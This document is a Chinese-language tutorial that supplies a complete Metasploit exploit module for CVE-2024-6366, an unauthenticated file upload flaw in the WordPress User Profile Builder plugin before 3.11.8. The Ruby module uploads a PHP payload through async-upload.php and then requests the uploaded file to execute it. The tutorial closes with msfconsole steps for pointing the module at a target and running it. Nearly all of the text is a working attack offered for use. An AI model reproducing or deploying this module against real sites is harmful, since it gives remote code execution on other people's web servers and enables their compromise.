
Metasploit 模块,用于 CVE-2024-6366:未授权文件上传 RCE,影响 WordPress User Profile Builder 插件 3.11.8 之前的版本。通过 async-upload.php 上传并执行 PHP 负载。
为了在WordPress插件User Profile Builder 3.11.8之前版本中利用RCE漏洞创建Metasploit模块,我们需要利用媒体文件上传功能中缺乏适当授权的问题。以下是创建此类Metasploit模块的方法:
将以下代码保存为wordpress_user_profile_builder_rce.rb,并放置在Metasploit Framework安装目录的modules/exploits/unix/webapp文件夹中。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
'Description' => %q{
本模块利用WordPress插件User Profile Builder 3.11.8之前版本中的一个漏洞。
该插件缺少适当的授权,允许未认证用户通过异步上传功能上传媒体文件。
这可用于上传并执行恶意PHP有效负载。
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-6366'], # 替换为实际的CVE标识符
['URL', 'https://example.com/advisory'] # 如果有公告链接请替换
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'WordPress User Profile Builder < 3.11.8', {} ]
],
'DisclosureDate' => 'Aug 03 2024',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "WordPress安装的基础路径", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.body.include?('wp-content/plugins/user-profile-builder')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
php_payload = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
data.add_part('1', nil, nil, 'form-data; name="html-upload"')
data.add_part('Upload', nil, nil, 'form-data; name="upload"')
print_status("正在上传PHP有效负载...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 200 && res.body.include?('.php')
php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
print_good("有效负载上传成功:#{php_path}")
register_files_for_cleanup(php_path)
execute_command("#{php_path}")
else
fail_with(Failure::UnexpectedReply, '上传有效负载失败')
end
end
def execute_command(php_path)
print_status("正在执行PHP有效负载...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_path)
})
end
end
保存模块:
将模块保存为wordpress_user_profile_builder_rce.rb,并放置在Metasploit Framework安装目录的modules/exploits/unix/webapp文件夹中。
/path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
加载Metasploit: 打开终端并运行以下命令启动Metasploit Framework:
msfconsole
使用新模块: 在Metasploit控制台中,使用以下命令加载新的漏洞利用模块:
use exploit/unix/webapp/wordpress_user_profile_builder_rce
配置并运行:
设置必要选项,例如RHOSTS和TARGETURI。然后运行漏洞利用。
msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
此Metasploit模块将恶意PHP文件上传到易受攻击的WordPress安装,然后执行它以实现远程代码执行。根据漏洞的具体性质和目标环境,根据需要调整有效负载和模块。